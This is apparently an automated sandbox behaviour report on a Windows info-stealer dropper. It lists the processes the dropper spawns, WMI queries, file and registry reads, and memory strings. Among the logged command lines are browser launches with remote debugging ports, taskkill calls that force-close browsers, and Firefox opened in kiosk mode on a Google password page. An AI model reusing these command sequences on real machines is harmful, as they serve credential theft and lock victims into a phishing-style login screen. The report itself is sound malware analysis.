Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: chrome.exe, 0000001F.00000002.2910753160.000035F800BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: chrome.exe, 0000001F.00000002.2886314439.000035F800970000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE logins SET action_url=?, password_value=?, submit_element=?, date_created=?, blacklisted_by_user=?, scheme=?, password_type=?, times_used=?, form_data=?, display_name=?, icon_url=?, federation_url=?, skip_zero_click=?, generation_upload_status=?, possible_username_pairs=?, date_last_used=?, moving_blocked_for=?, date_password_modified=?, sender_email=?, sender_name=?, date_received=?, sharing_notification_displayed=?, keychain_identifier=? WHERE origin_url=? AND username_element=? AND username_value=? AND password_element=? AND signon_realm=?/resources chrome://webui-test 'self';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html print-preview-plugin-loader polymer-html-literal polymer-template-event-attribute-policy;frame-ancestors 'none';X-Frame-Options: DENYCache-Control: no-cacheContent-Type: text/html
Source: 2bfd73b1c9.exe, 00000008.00000003.2505375809.0000000005417000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000003.2506119204.00000000053FB000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2641174308.0000000005A07000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.00000000059EB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2912621058.000035F800C2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 47%
Source: file.exe	ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 2bfd73b1c9.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 2bfd73b1c9.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 0a29ef6c7c.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe "C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe "C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe "C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe "C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe"
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe "C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe"
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2192,i,10143600070670810817,6561636466335868075,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe "C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a22515df-c2f6-4def-b0a3-50c2d0523f06} 6804 "\\.\pipe\gecko-crash-server-pipe.6804" 17a4c66db10 socket
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe "C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3976 --field-trial-handle=3724,i,9325009956021330701,4654565816602240411,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7564 -s 1616
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe "C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe"
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2000,i,3630116307602199146,12526742274000861994,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe "C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe"
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aeeedf46-2f60-4eac-96e9-0a864b8e5887} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 18e2ca70110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4592 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4640 -prefMapHandle 4620 -prefsLen 32179 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4540decc-a3fa-47ce-8ea7-ddae47348ca5} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 18e48568d10 utility
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=1968,i,13235813427011115255,13293806181875594211,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2020,i,10916342285601076747,13162167877453187169,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe "C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe "C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe "C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe "C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe "C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2192,i,10143600070670810817,6561636466335868075,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a22515df-c2f6-4def-b0a3-50c2d0523f06} 6804 "\\.\pipe\gecko-crash-server-pipe.6804" 17a4c66db10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3976 --field-trial-handle=3724,i,9325009956021330701,4654565816602240411,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2000,i,3630116307602199146,12526742274000861994,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aeeedf46-2f60-4eac-96e9-0a864b8e5887} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 18e2ca70110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4592 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4640 -prefMapHandle 4620 -prefsLen 32179 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4540decc-a3fa-47ce-8ea7-ddae47348ca5} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 18e48568d10 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
